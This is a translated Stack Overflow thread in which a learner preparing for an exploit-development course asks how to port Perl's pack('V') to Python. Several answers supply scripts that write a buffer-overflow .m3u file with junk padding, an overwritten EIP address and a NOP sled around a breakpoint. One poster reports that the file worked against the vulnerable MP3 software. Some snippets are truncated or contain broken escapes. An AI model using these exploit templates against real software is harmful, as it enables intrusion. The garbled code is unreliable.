Python中类似Perl的Pack('V')函数是什么?

10

最近我一直在进行漏洞开发以准备参加培训课程,但是在教程中遇到了问题。我一直按照能找到的所有教程来操作,使用Python而不是教程中所用的语言,因为我更喜欢Python。我尝试对所有内容进行交叉编码,但无法弄清如何交叉编码Perl的Pack()函数。

TL;DR: 我正在尝试将此转换为Python:

my $file= "test1.m3u";
my $junk= "A" x 26094;
my $eip = pack('V',0x000ff730);  

my $shellcode = "\x90" x 25; 

$shellcode = $shellcode."\xcc";
$shellcode = $shellcode."\x90" x 25; 

open($FILE,">$file");
print $FILE $junk.$eip.$shellcode;
close($FILE)print "m3u File Created successfully\n";
我发现了Python的struct.pack()函数,但是当我使用它时。
Fuzzed.write(struct.pack('V', 0x773D10A4))

它停止了程序并且无法工作。我错在哪里了?

这是我整个的源代码。

import struct

Fuzzed = open('C:\Documents and Settings\Owner\Desktop\Fuzzed.m3u','w')
Fuzzed.write('A' * 26072)
string = str(struct.pack('V',0x773D10A4))
Fuzzed.write(string)
Fuzzed.write('C' * 3000)

你从哪里得到了 V 作为格式字符?它应该代表什么类型?使用 I 代替 unsigned int(4字节)。 - Mr. Shickadance
5个回答

11

尝试使用"L<"包装模板代替"V"。这在Perl和Python中都应该有效。 NV 是指定字节顺序的旧版Perl方法,而<>是新版方法。看起来Python从Perl借用的pack只采用了较新、更灵活的接口。

编辑: Python希望在类型说明符之前放置<,而Perl则希望在其之后放置<。并非完全兼容 :(


8
Python的struct.pack使用第一个字符表示字节序/大小变化,然后一个或多个字符表示数据类型。Perl的V表示32位无符号整数/小端字节序。
Python的类比为struct.pack('<I', 0x773D10A4)

2

我已经将其翻译为Python,并且已经尝试了MP3转换器。下面是您的答案:

import sys
file = "8.m3u"
junk = "A"*26042
eip = "\X3A\XF2\XB5\X01" //0x01B5F23A
shellcode =" " 
shellcode += "\x90"*25
shellcode += "xcc"
shellcode += "\x90"*25
tmp = junk + eip + shellcode
D = open(file, 'w')
D.write(tmp)
D.close()
print "m3u File Created successfully\n"

1
这正是您所需要的。关于培训课程呢?

import struct 

file = 'crash.m3u' junk = b'\x41' * 26091 eip = struct.pack('
import binascii print(binascii.hexlify(open(file, 'rb').read())) print('m3u文件已准备好')

0

我正在学习相同/类似的教程。对我完全有效的是Nick的答案。我还测试了在易受攻击的软件上创建的m3u文件。它确实有效,尽管我的EIP地址不同。我在Linux机器上使用Python 3.7.5运行它。这是修改后的代码:

import struct

Fuzzed = open('Fuzzed.m3u','wb')
Fuzzed.write(b'A' * 26072)
string = struct.pack('<I',0x773D10A4)
Fuzzed.write(string)
Fuzzed.write(b'C' * 3000)

我们需要将所有内容转换为字节对象的原因是pack函数返回一个字节对象,我们无法将其与字符串连接起来。另外,str(struct.pack('
string = b'\xA4' + b'\x10' + b'\x3D' + b'\x77' 

网页内容由stack overflow 提供, 点击上面的
可以查看英文原文,
原文链接